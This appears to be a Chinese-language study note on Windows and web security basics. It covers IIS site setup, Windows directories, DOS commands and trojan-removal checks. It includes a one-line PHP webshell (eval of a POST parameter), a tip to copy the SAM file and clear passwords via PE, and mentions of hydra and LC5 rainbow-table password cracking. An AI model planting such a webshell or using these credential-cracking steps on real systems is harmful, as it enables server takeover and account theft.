Windows

PHP的一句话木马:

<?php eval($_POST[jess]);?>

虚拟机：快照功能

Windows2003搭建网站

1. 先在百度上搜索你想搭建的网站源码
2. 在IIS服务器上新建网站
3. 将所下载的源码复制到目录文件中，默认文件夹为（C:\inetpub\wwwroot），IP地址先不用分配
4. 需要更改的地方
   
   • 点击右键，赋予权限everyone
   • 点击属性：主目录下执行权限改为纯脚本
   • 再点击配置：选项卡“选项中”启用父路径，选项卡“调试”中全部启用
   • 搭建asp时，web服务器扩展需要启用active sever pages。
   • 如果网络安全级别过高访问页面可能出错，所以需要更改级别，在浏览器中，点击“工具”选项卡，Internet选项，再点击安全级别，更改即可。

5.一个服务器多个网站
- 不同的IP地址，同一个端口（设置IP地址，再属性当中添加IP）
- 同一个ip,不同的端口
- 通过域名设置，但是必须打开DNS服务（安装DNS服务，在正向查找区域中右键新建区域，勾选主要区域，下一步，写上域名（如，baidu.com）,一直点击下一步，完成，点击新建的域名区域，新建主机，添加名称如（www），绑定主机IP，最后修改本地连接的地址改为本机IP，DNS服务也改为本机IP，在网站处与IP搭建网站一样）

Windows操作系统

文件目录

• 打开启动文件夹，可以看到程序打开系统自动启动的软件（启动文件夹可以在开始选项菜单中打开）
• Windows/system32/config:SAM这个文件夹里存放的是Windows系统的用户名和账号（先把SAM拷贝，再进PE清除数据）
• MyDrives存放的驱动信息
• PerfLogs存放日志文件（可以分析日志文件）

服务

- services.msc打开的服务
- DNS服务：解析域名服务
- Telnet服务，打开可以在客户端登录Windows系统
- smb文件共享服务

端口

端口作用区分服务的

注册表

输入

regedit

打开注册表。
常用注册表

dos命令

color ？：查看参数

ping时的TTL：64表示win7，08，或者xp

ipconfig /all 查看ip详细参数

224.XXX.XXX.XXX都表示主拨地址

net view :可以找到网关地址（第一个，直接访问）

shutdown -a 关闭图中的第一个任务
查看文件内容：

type 文件名 或者 start 文件名

创建文件在指定地点：创建前面加文件名

move 文件目录（想移动的文件目录）
net use：查看其他用户的c盘

暴力破解hydra

关机命令(三分钟后关机)

shutdown.exe -s -t 180

停止关机命令

shutdown.exe -a

Windows+D：返回桌面

windows+L：快速锁屏

修改启动项： msconfig

Windows登录密码破解

注：也可以用LC5破解，彩虹表

清除木马：

• 查看服务（services.msc）
• 查看注册表（RUN）
• 查看开机启动项（msconfig）
• 查看网络端口（netstat -o）

制作桌面：雨滴桌面